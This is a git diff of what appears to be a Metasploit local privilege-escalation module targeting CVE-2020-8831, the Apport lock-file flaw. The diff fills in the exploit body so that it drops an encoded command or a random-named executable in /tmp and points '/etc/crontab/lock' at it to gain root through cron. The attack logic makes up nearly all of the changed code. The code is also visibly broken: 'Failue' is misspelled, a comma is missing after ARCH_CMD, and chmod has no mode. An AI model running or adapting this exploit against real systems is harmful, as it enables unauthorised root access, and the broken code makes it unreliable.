@@ -30,20 +30,35 @@ def initialize(info = {})
30
30
] ,
31
31
'References' => [
32
32
[
33
- 'URL' , 'https://nostarch.com/zero-day' # pg. 59
33
+ 'URL' , 'https://nostarch.com/zero-day' , # pg. 59
34
+ 'URL' , 'https://ubuntu.com/security/CVE-2020-8831' ,
35
+ 'URL' , 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
34
36
]
35
37
] ,
36
38
'Platform' => 'linux' ,
37
39
'Targets' => [
38
40
[
39
-
41
+ 'Linux_Binary' ,
42
+ {
43
+ 'Arch' => [ ARCH_AARCH64 , ARCH_X64 ]
44
+ }
45
+ ] ,
46
+ [
47
+ 'Linux_Command' ,
48
+ {
49
+ 'Arch' => ARCH_CMD
50
+ 'Payload' =>
51
+ {
52
+ 'BadChars' => "\x22 \x27 "
53
+ }
54
+ }
40
55
]
41
56
] ,
42
57
'Payload' => {
43
58
'BadChars' => "\x00 "
44
59
} ,
45
60
'Privileged' => false ,
46
- 'DisclosureDate' => '' ,
61
+ 'DisclosureDate' => '2 April 2020 ' ,
47
62
'DefaultTarget' => 0 ,
48
63
'Notes' => {
49
64
'Stability' => [ CRASH_SAFE ] ,
@@ -106,11 +121,17 @@ def exploit
106
121
fail_with ( Failue ::NotFound , 'Exploit was unable to create a crontab owned by root.' )
107
122
end
108
123
109
-
110
- # Touching a file to this
111
- # verifying the permissions on the file (root ownership)
112
- # writing payloads
113
- # what type of payloads
124
+ print_status 'Uploading payload'
125
+
126
+ # create the payload
127
+ if target . arch . first == ARCH_CMD
128
+ payload = payload . encoded
129
+ write_file ( '/etc/crontab/lock' , payload )
130
+ else
131
+ payload_file = '/tmp/' + Rex ::Text . rand_text_alpha ( rand ( 6 ..13 ) )
132
+ chmod ( payload_file )
133
+ write_file payload_file , generate_payload_exe
134
+ write_file '/etc/crontab/lock' , payload_file
135
+ end
114
136
end
115
-
116
137
end
0 commit comments